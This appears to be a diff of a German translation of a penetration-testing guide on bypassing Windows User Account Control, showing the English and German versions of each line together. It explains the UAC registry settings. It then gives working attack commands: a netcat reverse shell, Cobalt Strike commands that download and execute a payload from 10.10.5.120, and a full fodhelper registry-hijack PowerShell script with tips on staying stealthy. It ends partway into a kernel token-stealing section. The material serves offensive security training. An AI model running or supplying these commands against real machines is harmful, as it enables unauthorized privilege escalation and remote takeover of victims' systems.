Diese [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) beschreibt sehr ausführlich, wie UAC funktioniert, einschließlich des Logon-Prozesses, der Benutzererfahrung und der UAC-Architektur. Administratoren können Sicherheitsrichtlinien verwenden, um zu konfigurieren, wie UAC in ihrer Organisation lokal (mit secpol.msc) funktioniert oder über Group Policy Objects (GPO) in einer Active Directory-Domänenumgebung konfiguriert und verteilt werden. Die verschiedenen Einstellungen werden [hier](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) ausführlich erläutert. Es gibt 10 Group Policy-Einstellungen, die für UAC gesetzt werden können. Die folgende Tabelle bietet zusätzliche Details:
|
||||
This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) erläutert ausführlich, wie UAC funktioniert und behandelt den Anmeldevorgang, die Benutzererfahrung und die UAC-Architektur. Administratoren können Sicherheitsrichtlinien verwenden, um zu konfigurieren, wie UAC für ihre Organisation auf lokaler Ebene funktioniert (mit secpol.msc) oder über Group Policy Objects (GPO) in einer Active Directory-Domänenumgebung konfiguriert und verteilt wird. Die verschiedenen Einstellungen werden [hier](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) ausführlich erläutert. Es gibt 10 Group-Policy-Einstellungen, die für UAC festgelegt werden können. Die folgende Tabelle enthält zusätzliche Details:
|
||||
|
||||
| Gruppenrichtlinieneinstellung | Registrierungsschlüssel | Standardeinstellung |
|
||||
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------- | ------------------------------------------------------------ |
|
||||
| Group Policy Setting | Registrierungsschlüssel | Standard-Einstellung |
|
||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
||||
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Deaktiviert |
|
||||
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Deaktiviert |
|
||||
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Zustimmung für Nicht-Windows-Binärdateien anfordern |
|
||||
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Anmeldeinformationen auf dem sicheren Desktop anfordern |
|
||||
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries |
|
||||
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop |
|
||||
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Aktiviert (Standard für Home) Deaktiviert (Standard für Enterprise) |
|
||||
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Deaktiviert |
|
||||
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Aktiviert |
|
||||
@ -30,21 +30,21 @@ Diese [page](https://docs.microsoft.com/en-us/windows/security/identity-protecti
|
||||
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Aktiviert |
|
||||
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Aktiviert |
|
||||
|
||||
### UAC Bypass Theory
|
||||
### UAC-Bypass-Theorie
|
||||
|
||||
Some programs are **autoelevated automatically** if the **user belongs** to the **administrator group**. These binaries have inside their _**Manifests**_ the _**autoElevate**_ option with value _**True**_. The binary has to be **signed by Microsoft** also.
|
||||
Einige Programme werden **automatisch erhöht (autoelevated)**, wenn der **Benutzer zur Administratorgruppe gehört**. Diese Binärdateien haben in ihrem _**Manifest**_ die Option _**autoElevate**_ mit dem Wert _**True**_. Die Binärdatei muss außerdem **von Microsoft signiert** sein.
|
||||
|
||||
Many auto-elevate processes expose **functionality via COM objects or RPC servers**, which can be invoked from processes running with medium integrity (regular user-level privileges). Note that COM (Component Object Model) and RPC (Remote Procedure Call) are methods Windows programs use to communicate and execute functions across different processes. For example, **`IFileOperation COM object`** is designed to handle file operations (copying, deleting, moving) and can automatically elevate privileges without a prompt.
|
||||
Viele Auto-Elevate-Prozesse stellen **Funktionalität über COM-Objekte oder RPC-Server** bereit, die von Prozessen mit medium-Integrität (normale Benutzerrechte) aufgerufen werden können. Beachte, dass COM (Component Object Model) und RPC (Remote Procedure Call) Methoden sind, die Windows-Programme zur Kommunikation und Ausführung von Funktionen zwischen Prozessen verwenden. Zum Beispiel ist das **`IFileOperation COM object`** dafür vorgesehen, Dateioperationen (Kopieren, Löschen, Verschieben) zu handhaben und kann Privilegien automatisch erhöhen, ohne eine Aufforderung anzuzeigen.
|
||||
|
||||
Note that some checks might be performed, like checking if the process was run from the **System32 directory**, which can be bypassed for example **injecting into explorer.exe** or another System32-located executable.
|
||||
Es werden möglicherweise Prüfungen durchgeführt, etwa ob der Prozess aus dem **System32-Verzeichnis** gestartet wurde. Das lässt sich zum Beispiel umgehen, indem man in **explorer.exe** oder eine andere in System32 befindliche ausführbare Datei injiziert.
|
||||
|
||||
Another way to bypass these checks is to **modify the PEB**. Every process in Windows has a Process Environment Block (PEB), which includes important data about the process, such as its executable path. By modifying the PEB, attackers can fake (spoof) the location of their own malicious process, making it appear to run from a trusted directory (like system32). This spoofed information tricks the COM object into auto-elevating privileges without prompting the user.
|
||||
Eine weitere Möglichkeit, diese Prüfungen zu umgehen, besteht darin, die **PEB zu verändern**. Jeder Prozess unter Windows hat ein Process Environment Block (PEB), das wichtige Daten über den Prozess enthält, etwa den Pfad zur ausführbaren Datei. Durch Ändern der PEB können Angreifer den Ort ihres eigenen bösartigen Prozesses fälschen (spoofen), sodass er so aussieht, als würde er aus einem vertrauenswürdigen Verzeichnis (z. B. system32) ausgeführt. Diese gefälschten Informationen veranlassen das COM-Objekt dazu, die Privilegien automatisch zu erhöhen, ohne den Benutzer aufzufordern.
|
||||
|
||||
Then, to **bypass** the **UAC** (elevate from **medium** integrity level **to high**) some attackers use this kind of binaries to **execute arbitrary code** because it will be executed from a **High level integrity process**.
|
||||
Um die **UAC** zu **umgehen** (Erhöhung von **medium** auf **high** Integritätsstufe) nutzen einige Angreifer solche Binärdateien, um **beliebigen Code auszuführen**, da dieser dann aus einem Prozess mit **hoher Integrität** ausgeführt wird.
|
||||
|
||||
You can **check** the _**Manifest**_ of a binary using the tool _**sigcheck.exe**_ from Sysinternals. (`sigcheck.exe -m <file>`) And you can **see** the **integrity level** of the processes using _Process Explorer_ or _Process Monitor_ (of Sysinternals).
|
||||
Du kannst das _**Manifest**_ einer Binärdatei mit dem Tool _**sigcheck.exe**_ von Sysinternals prüfen. (`sigcheck.exe -m <file>`) Und du kannst die **Integritätsstufe** der Prozesse mit _Process Explorer_ oder _Process Monitor_ (von Sysinternals) sehen.
|
||||
|
||||
### UAC überprüfen
|
||||
### UAC prüfen
|
||||
|
||||
Um zu bestätigen, ob UAC aktiviert ist, führe aus:
|
||||
```
|
||||
@ -53,9 +53,9 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
EnableLUA REG_DWORD 0x1
|
||||
```
|
||||
Wenn es **`1`** ist, dann ist UAC **aktiviert**, ist es **`0`** oder **existiert es nicht**, dann ist UAC **inaktiv**.
|
||||
Wenn es **`1`** ist, dann ist UAC **aktiviert**, wenn es **`0`** ist oder es **nicht existiert**, dann ist UAC **inaktiv**.
|
||||
|
||||
Prüfe dann **welches Level** konfiguriert ist:
|
||||
Dann prüfe, **welche Stufe** konfiguriert ist:
|
||||
```
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
|
||||
|
||||
@ -69,11 +69,11 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
||||
- If **`4`** like `2` but not necessary on Secure Desktop
|
||||
- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges
|
||||
|
||||
Dann musst du dir den Wert von **`LocalAccountTokenFilterPolicy`** ansehen\
|
||||
Wenn der Wert **`0`**, dann kann nur der **RID 500** Benutzer (**built-in Administrator**) **Admin-Aufgaben ohne UAC** ausführen, und wenn er `1` ist, können **alle Konten in der Gruppe "Administrators"** dies tun.
|
||||
Dann sollten Sie sich den Wert von **`LocalAccountTokenFilterPolicy`** anschauen\
|
||||
Wenn der Wert **`0`** ist, kann nur der **RID 500** Benutzer (**built-in Administrator**) **Admin-Aufgaben ohne UAC** ausführen, und wenn er `1` ist, können **alle Konten in der Gruppe "Administrators"** dies tun.
|
||||
|
||||
Und schließlich sieh dir den Wert des Schlüssels **`FilterAdministratorToken`** an\
|
||||
Wenn **`0`** (Standard), kann das **built-in Administrator-Konto** Remote-Administrationsaufgaben durchführen, und wenn **`1`**, kann das built-in Administrator-Konto **keine** Remote-Administrationsaufgaben durchführen, es sei denn `LocalAccountTokenFilterPolicy` ist auf `1` gesetzt.
|
||||
Und schließlich schauen Sie sich den Wert des Schlüssels **`FilterAdministratorToken`** an\
|
||||
Wenn **`0`** (Standard), kann das **built-in Administrator**-Konto Remote-Administrationsaufgaben ausführen, und wenn **`1`**, kann das built-in Administrator-Konto **keine** Remote-Administrationsaufgaben ausführen, es sei denn `LocalAccountTokenFilterPolicy` ist auf `1` gesetzt.
|
||||
|
||||
#### Zusammenfassung
|
||||
|
||||
@ -82,9 +82,9 @@ Wenn **`0`** (Standard), kann das **built-in Administrator-Konto** Remote-Admini
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
|
||||
|
||||
All diese Informationen können mit dem **metasploit** Modul: `post/windows/gather/win_privs` ermittelt werden
|
||||
All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
|
||||
|
||||
Du kannst außerdem die Gruppen deines Benutzers prüfen und die Integritätsstufe (Integrity Level) ermitteln:
|
||||
Sie können auch die Gruppen Ihres Benutzers prüfen und die Integritätsstufe abrufen:
|
||||
```
|
||||
net user %username%
|
||||
whoami /groups | findstr Level
|
||||
@ -92,15 +92,15 @@ whoami /groups | findstr Level
|
||||
## UAC bypass
|
||||
|
||||
> [!TIP]
|
||||
> Beachten Sie, dass wenn Sie grafischen Zugriff auf das Opfer haben, ein UAC bypass sehr einfach ist, da Sie bei der UAC-Abfrage einfach auf "Yes" klicken können
|
||||
> Beachte, dass wenn du grafischen Zugriff auf das Opfer hast, UAC bypass sehr einfach ist, da du einfach auf "Yes" klicken kannst, wenn die UAC-Eingabeaufforderung erscheint
|
||||
|
||||
Der UAC bypass wird in folgender Situation benötigt: **die UAC ist aktiviert, Ihr Prozess läuft in einem medium integrity context, und Ihr Benutzer gehört zur administrators group**.
|
||||
Der UAC bypass wird in folgender Situation benötigt: **der UAC ist aktiviert, dein Prozess läuft in einem medium integrity context, und dein Benutzer gehört zur administrators group**.
|
||||
|
||||
Es ist wichtig zu erwähnen, dass es **viel schwieriger ist, die UAC zu umgehen, wenn sie auf der höchsten Sicherheitseinstellung (Always) steht, als wenn sie auf einer der anderen Einstellungen (Default) steht.**
|
||||
Es ist wichtig zu erwähnen, dass es **viel schwieriger ist, den UAC zu umgehen, wenn er auf dem höchsten Sicherheitslevel (Always) steht, als bei einem der anderen Levels (Default).**
|
||||
|
||||
### UAC deaktiviert
|
||||
### UAC disabled
|
||||
|
||||
Wenn UAC bereits deaktiviert ist (`ConsentPromptBehaviorAdmin` ist **`0`**) können Sie **eine reverse shell mit admin privileges** (high integrity level) ausführen, z. B. mit:
|
||||
Wenn UAC bereits deaktiviert ist (`ConsentPromptBehaviorAdmin` ist **`0`**) kannst du **eine reverse shell mit admin privileges ausführen** (high integrity level) mit etwas wie:
|
||||
```bash
|
||||
#Put your reverse shell instead of "calc.exe"
|
||||
Start-Process powershell -Verb runAs "calc.exe"
|
||||
@ -111,12 +111,12 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
|
||||
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
|
||||
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
|
||||
|
||||
### **Sehr** einfache UAC "bypass" (voller Zugriff auf das Dateisystem)
|
||||
### **Sehr** grundlegender UAC "bypass" (voller Zugriff auf das Dateisystem)
|
||||
|
||||
Wenn du eine shell mit einem Benutzer hast, der zur Administrators group gehört, kannst du das über SMB freigegebene **C$** lokal als neues Laufwerk mounten und hast damit **Zugriff auf alles im Dateisystem** (sogar auf den Administrator home folder).
|
||||
Wenn du eine Shell mit einem Benutzer hast, der zur Administrators-Gruppe gehört, kannst du **das C$-Share** über SMB lokal als neues Laufwerk mounten und wirst **Zugriff auf alles im Dateisystem** haben (sogar auf den Home-Ordner des Administrator-Kontos).
|
||||
|
||||
> [!WARNING]
|
||||
> **Sieht so aus, als würde dieser Trick nicht mehr funktionieren**
|
||||
> **Anscheinend funktioniert dieser Trick nicht mehr**
|
||||
```bash
|
||||
net use Z: \\127.0.0.1\c$
|
||||
cd C$
|
||||
@ -124,9 +124,9 @@ cd C$
|
||||
#Or you could just access it:
|
||||
dir \\127.0.0.1\c$\Users\Administrator\Desktop
|
||||
```
|
||||
### UAC bypass mit Cobalt Strike
|
||||
### UAC bypass mit cobalt strike
|
||||
|
||||
Die Cobalt Strike-Techniken funktionieren nur, wenn UAC nicht auf dem maximalen Sicherheitsniveau eingestellt ist.
|
||||
Die Cobalt Strike-Techniken funktionieren nur, wenn UAC nicht auf die höchste Sicherheitsstufe eingestellt ist.
|
||||
```bash
|
||||
# UAC bypass via token duplication
|
||||
elevate uac-token-duplication [listener_name]
|
||||
@ -138,17 +138,19 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
|
||||
# Bypass UAC with CMSTPLUA COM interface
|
||||
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
||||
```
|
||||
**Empire** und **Metasploit** haben ebenfalls mehrere Module, um die **UAC** zu **bypassen**.
|
||||
**Empire** und **Metasploit** haben auch mehrere Module, um die **UAC** zu **bypass**.
|
||||
|
||||
### KRBUACBypass
|
||||
|
||||
Dokumentation und Tool in [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
|
||||
Dokumentation und Tool unter [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
|
||||
|
||||
### UAC bypass exploits
|
||||
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME), welches eine **Sammlung** mehrerer UAC bypass exploits ist. Beachte, dass du **UACME mit visual studio oder msbuild kompilieren musst**. Die Kompilierung erzeugt mehrere ausführbare Dateien (wie `Source\Akagi\outout\x64\Debug\Akagi.exe`), du musst wissen **welche du brauchst.**\ Du solltest **vorsichtig sein**, weil einige bypasses **andere Programme auffordern** werden, die den **Benutzer** **warnen**, dass etwas passiert.
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME), welches eine **compilation** mehrerer UAC bypass exploits ist. Beachte, dass du **compile UACME using visual studio or msbuild** musst. Die compilation wird mehrere ausführbare Dateien erstellen (wie `Source\Akagi\outout\x64\Debug\Akagi.exe`), du musst wissen, **welches du brauchst.**
|
||||
|
||||
UACME enthält die **Build-Version, ab der jede Technik zu funktionieren begann**. Du kannst nach einer Technik suchen, die deine Versionen betrifft:
|
||||
Du solltest **vorsichtig sein**, weil einige bypasses einige andere Programme **auffordern** könnten, die den **Benutzer** **alarmieren**, dass etwas passiert.
|
||||
|
||||
UACME enthält die **Build-Version, ab der jede Technik funktionierte**. Du kannst nach einer Technik suchen, die deine Versionen betrifft:
|
||||
```
|
||||
PS C:\> [environment]::OSVersion.Version
|
||||
|
||||
@ -156,17 +158,17 @@ Major Minor Build Revision
|
||||
----- ----- ----- --------
|
||||
10 0 14393 0
|
||||
```
|
||||
Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
|
||||
Außerdem erhält man mit [this](https://en.wikipedia.org/wiki/Windows_10_version_history) die Windows-Version `1607` aus den Build-Versionen.
|
||||
|
||||
### UAC Bypass – fodhelper.exe (Registry hijack)
|
||||
|
||||
Die vertrauenswürdige Binärdatei `fodhelper.exe` wird unter modernen Windows-Versionen automatisch erhöht. Beim Start fragt sie den per-User-Registrypfad unten ab, ohne das `DelegateExecute`-Verb zu validieren. Dort einen Befehl zu platzieren ermöglicht es einem Medium Integrity process (user is in Administrators), einen High Integrity process ohne UAC prompt zu starten.
|
||||
Die vertrauenswürdige Binärdatei `fodhelper.exe` wird auf modernen Windows-Versionen automatisch mit erhöhten Rechten gestartet. Beim Start fragt sie den untenstehenden per-user-Registry-Pfad ab, ohne das `DelegateExecute`-Verb zu validieren. Dort einen Befehl zu platzieren erlaubt einem Medium Integrity-Prozess (der Benutzer ist in Administrators), einen High Integrity-Prozess zu erzeugen, ohne dass ein UAC prompt erscheint.
|
||||
|
||||
Vom `fodhelper.exe` abgefragter Registrypfad:
|
||||
Registry path queried by fodhelper:
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
PowerShell-Schritte (setze deine payload, dann löse sie aus):
|
||||
PowerShell-Schritte (set your payload, then trigger):
|
||||
```powershell
|
||||
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
|
||||
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
|
||||
@ -186,46 +188,46 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
|
||||
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
|
||||
```
|
||||
Hinweise:
|
||||
- Funktioniert, wenn der aktuelle Benutzer Mitglied der Administrators ist und das UAC-Level auf default/lenient eingestellt ist (nicht Always Notify mit zusätzlichen Einschränkungen).
|
||||
- Verwende den `sysnative`-Pfad, um von einem 32-Bit-Prozess auf einem 64-Bit-Windows eine 64-Bit PowerShell zu starten.
|
||||
- Die Payload kann jeder Befehl sein (PowerShell, cmd oder ein EXE-Pfad). Vermeide auffordernde UIs für mehr Stealth.
|
||||
- Funktioniert, wenn der aktuelle Benutzer Mitglied der Administrators ist und das UAC-Level standard/locker ist (nicht Always Notify mit zusätzlichen Beschränkungen).
|
||||
- Verwende den `sysnative`-Pfad, um eine 64-Bit PowerShell aus einem 32-Bit-Prozess auf 64-Bit-Windows zu starten.
|
||||
- Die Payload kann jeder Befehl sein (PowerShell, cmd oder ein EXE-Pfad). Vermeide auffordernde UIs, um unauffällig zu bleiben.
|
||||
|
||||
#### More UAC bypass
|
||||
#### Weitere UAC bypass
|
||||
|
||||
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
|
||||
**Alle** die hier verwendeten Techniken, um AUC zu umgehen, **erfordern** eine **voll interaktive Shell** mit dem Opfer (eine normale nc.exe-Shell reicht nicht).
|
||||
|
||||
You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
|
||||
Du kannst das mit einer **meterpreter**-Sitzung erreichen. Migriere zu einem **Prozess**, dessen **Session**-Wert **1** ist:
|
||||
|
||||
.png>)
|
||||
|
||||
(_explorer.exe_ should works)
|
||||
(_explorer.exe_ sollte funktionieren)
|
||||
|
||||
### UAC Bypass with GUI
|
||||
### UAC Bypass mit GUI
|
||||
|
||||
If you have access to a **GUI you can just accept the UAC prompt** when you get it, you don't really need a bypass it. So, getting access to a GUI will allow you to bypass the UAC.
|
||||
Wenn du Zugriff auf eine **GUI hast, kannst du einfach das UAC-Dialogfeld akzeptieren**, wenn es erscheint; du brauchst dann eigentlich keinen Bypass. Daher ermöglicht dir der Zugriff auf eine GUI, das UAC zu umgehen.
|
||||
|
||||
Moreover, if you get a GUI session that someone was using (potentially via RDP) there are **some tools that will be running as administrator** from where you could **run** a **cmd** for example **as admin** directly without being prompted again by UAC like [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). This might be a bit more **stealthy**.
|
||||
Außerdem: Wenn du eine GUI-Sitzung übernimmst, die jemand gerade benutzt hat (möglicherweise per RDP), laufen dort oft **einige Tools als Administrator**, von denen du z. B. eine **cmd** **als admin** direkt ausführen könntest, ohne erneut von UAC aufgefordert zu werden, wie z. B. [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Das kann etwas **stealthy** sein.
|
||||
|
||||
### Noisy brute-force UAC bypass
|
||||
### Auffälliger brute-force UAC bypass
|
||||
|
||||
If you don't care about being noisy you could always **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) that **ask to elevate permissions until the user does accepts it**.
|
||||
Wenn es dir egal ist, auffällig zu sein, kannst du immer etwas wie [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) ausführen, das **fortlaufend um Erhöhung der Berechtigungen bittet, bis der Benutzer zustimmt**.
|
||||
|
||||
### Your own bypass - Basic UAC bypass methodology
|
||||
### Eigener Bypass - Grundlegende UAC bypass Methodik
|
||||
|
||||
If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
||||
Wenn du dir **UACME** ansiehst, fällt auf, dass **die meisten UAC-Bypässe eine Dll Hijacking Vulnerability ausnutzen** (hauptsächlich indem die bösartige DLL nach _C:\Windows\System32_ geschrieben wird). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
||||
|
||||
1. Finde ein Binary, das **autoelevate** (prüfe, dass es beim Ausführen in einem High-Integrity-Level läuft).
|
||||
2. Mit procmon **"NAME NOT FOUND"**-Events finden, die für **DLL Hijacking** anfällig sein können.
|
||||
3. Du wirst wahrscheinlich die DLL in geschützte Pfade schreiben müssen (z. B. C:\Windows\System32), in denen du keine Schreibberechtigung hast. Das kannst du umgehen mit:
|
||||
1. **wusa.exe**: Windows 7, 8 und 8.1. Ermöglicht das Extrahieren des Inhalts einer CAB-Datei in geschützte Pfade (weil dieses Tool mit High-Integrity-Level ausgeführt wird).
|
||||
1. Finde ein Binary, das **autoelevate** (prüfe, dass es beim Ausführen in einem hohen Integritätslevel läuft).
|
||||
2. Mit procmon suche nach "**NAME NOT FOUND**"-Ereignissen, die für **DLL Hijacking** anfällig sein können.
|
||||
3. Du musst wahrscheinlich die DLL in einigen **geschützten Pfaden** (wie C:\Windows\System32) **schreiben**, in denen du keine Schreibrechte hast. Das kannst du umgehen mit:
|
||||
1. **wusa.exe**: Windows 7, 8 und 8.1. Ermöglicht das Extrahieren des Inhalts einer CAB-Datei in geschützte Pfade (da dieses Tool mit hoher Integritätsstufe ausgeführt wird).
|
||||
2. **IFileOperation**: Windows 10.
|
||||
4. Erstelle ein **script**, das deine DLL in den geschützten Pfad kopiert und das verwundbare, autoelevated Binary ausführt.
|
||||
4. Bereite ein **script** vor, das deine DLL in den geschützten Pfad kopiert und das verwundbare und autoelevated Binary ausführt.
|
||||
|
||||
### Another UAC bypass technique
|
||||
### Eine andere UAC bypass technik
|
||||
|
||||
Besteht darin zu beobachten, ob ein **autoElevated binary** versucht, aus der **registry** den **name/path** eines **binary** oder **command** auszulesen, das ausgeführt werden soll (das ist besonders interessant, wenn das Binary diese Informationen in der **HKCU** sucht).
|
||||
Besteht darin zu beobachten, ob ein **autoElevated binary** versucht, aus der **registry** den **Name/Pfad** eines **binary** oder **command** zu **lesen**, der **ausgeführt** werden soll (das ist besonders interessant, wenn das Binary diese Informationen in der **HKCU** sucht).
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
|
||||
- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -4,31 +4,31 @@
|
||||
|
||||
## Übersicht
|
||||
|
||||
Wenn ein verwundbarer Driver einen IOCTL bereitstellt, der einem Angreifer beliebige kernel read- und/oder write-Primitiven erlaubt, kann die Erhöhung auf NT AUTHORITY\SYSTEM oft erreicht werden, indem man ein SYSTEM access Token stiehlt. Die Technik kopiert den Token-Pointer aus dem EPROCESS eines SYSTEM-Prozesses in das EPROCESS des aktuellen Prozesses.
|
||||
If a vulnerable driver exposes an IOCTL that gives an attacker arbitrary kernel read and/or write primitives, elevating to NT AUTHORITY\SYSTEM can often be achieved by stealing a SYSTEM access token. The technique copies the Token pointer from a SYSTEM process’ EPROCESS into the current process’ EPROCESS.
|
||||
|
||||
Warum das funktioniert:
|
||||
- Jeder Prozess hat eine EPROCESS-Struktur, die (unter anderen Feldern) ein Token enthält (tatsächlich ein EX_FAST_REF auf ein Token-Objekt).
|
||||
- Der SYSTEM-Prozess (PID 4) besitzt ein Token mit allen aktivierten Privilegien.
|
||||
- Das Ersetzen von EPROCESS.Token des aktuellen Prozesses durch den SYSTEM-Token-Pointer lässt den aktuellen Prozess sofort als SYSTEM laufen.
|
||||
Warum es funktioniert:
|
||||
- Jeder Prozess hat eine EPROCESS-Struktur, die (unter anderen Feldern) ein Token enthält (tatsächlich ein EX_FAST_REF zu einem token object).
|
||||
- Der SYSTEM process (PID 4) hält ein Token mit allen aktivierten Privilegien.
|
||||
- Das Ersetzen des aktuellen Prozesses’ EPROCESS.Token durch den SYSTEM token pointer lässt den aktuellen Prozess sofort als SYSTEM laufen.
|
||||
|
||||
> Offsets in EPROCESS variieren zwischen Windows-Versionen. Bestimme sie dynamisch (Symbole) oder verwende versionsspezifische Konstanten. Denk auch daran, dass EPROCESS.Token ein EX_FAST_REF ist (die unteren 3 Bits sind Flags für die Referenzzählung).
|
||||
Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags).
|
||||
|
||||
## Hauptschritte
|
||||
## Schritte (Übersicht)
|
||||
|
||||
1) Lokalisieren des ntoskrnl.exe-Base und Auflösen der Adresse von PsInitialSystemProcess.
|
||||
- Aus dem User-Mode heraus: NtQuerySystemInformation(SystemModuleInformation) oder EnumDeviceDrivers verwenden, um geladene Driver-Basen zu bekommen.
|
||||
- Addiere den Offset von PsInitialSystemProcess (aus Symbolen/Reversing) zur Kernel-Base, um dessen Adresse zu erhalten.
|
||||
2) Lies den Pointer bei PsInitialSystemProcess → dies ist ein Kernel-Pointer auf SYSTEMs EPROCESS.
|
||||
